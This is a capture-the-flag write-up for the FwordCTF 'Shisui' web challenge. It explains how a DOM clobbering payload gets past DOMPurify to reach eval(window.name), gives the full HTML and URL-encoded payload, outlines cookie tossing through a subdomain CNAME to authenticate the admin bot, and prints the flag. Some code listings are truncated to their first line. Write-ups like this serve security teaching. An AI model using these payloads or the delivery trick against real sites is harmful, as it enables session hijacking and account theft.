tl;dr
- XSS using DOM Clobbering
<a id="showInfos"></a><a id="SETTINGS" name=check data-timezone="aaa" data-location="eval(window.name)"><a id="SETTINGS" name="x">
- Bypass CSRF protection to execute XSS and read flag.
No. Of Solves: 5
Challenge points: 999
Solved By: Az3z3l, Captain-Kay, imp3ri0n, 1nt3rc3pt0r
Source Code: here
Initial Analysis
We’re given a web application that has a login and register page. Upon registering, the user is presented with a feedback page.
On inspecting the source code, one can see that the page uses latest version of DOMpurify and runs the below JavaScript code to display the comment.
1 | <script> |
We are allowed to inject HTML but not JavaScript. We also have a main.js
file with the following content.
1 | window.SETTINGS = window.SETTINGS || [{ |
The initial lines of the above code along with the HTML Injection that we have, can cause DOM Clobbering attack.
Exploit
Trigerring XSS
The looseJsonParse
function can be used to trigger an XSS. However, it requires three conditions - window.showInfos && SETTINGS.check && SETTINGS[0].dataset.timezone.length>2
.
window.showInfos
can be set by injecting<a id="showInfos"></a>
.The second condition can be bypassed by clobbering
window.SETTINGS
.
1 | <a id="SETTINGS" name=check><a id="SETTINGS" name="x"> |
- For the third condition, we require
SETTINGS[0].dataset.timezone.length>2
. This can be solved by setting data attribute to the HTML tag. (Read about dataset attribute here.)
1 | <a id="SETTINGS" name=check data-timezone="aaa"><a id="SETTINGS" name="x"> |
Combining all the conditions, our payload becomes,
1 | <a id="showInfos"></a><a id="SETTINGS" name=check data-timezone="aaa" data-location="eval(window.name)"><a id="SETTINGS" name="x"> |
With the above payload, window.name
will be executed by JavaScript. Now we can execute JavaScript by sending the admin to a page containing the below script.
1 | window.open("http://host:5000/home?feedback=%3Ca+id%3D%22showInfos%22%3E%3C%2Fa%3E%3Ca+id%3D%22SETTINGS%22+name%3Dcheck+data-timezone%3D%22aaa%22+data-location%3D%22eval%28window.name%29%22%3E%3Ca+id%3D%22SETTINGS%22+name%3D%22x%22%3E&submit=Add+Feedback", "alert(1)") |
Now, we have an authenticated XSS. But the admin bot does not authenticate on submitting a URL.
Delivering Exploit
Create a subdomain (say challenge.example.org
) that has a CNAME record to shisui.fword.tech
(challenge server). Then on the main domain, we set a cookie to authenticate the admin bot.
The exploit script that runs on the main domain:
1 | <html> |
Flag
1 | FwordCTF{UchiHa_ShiSui_Is_GoDLik3YoU} |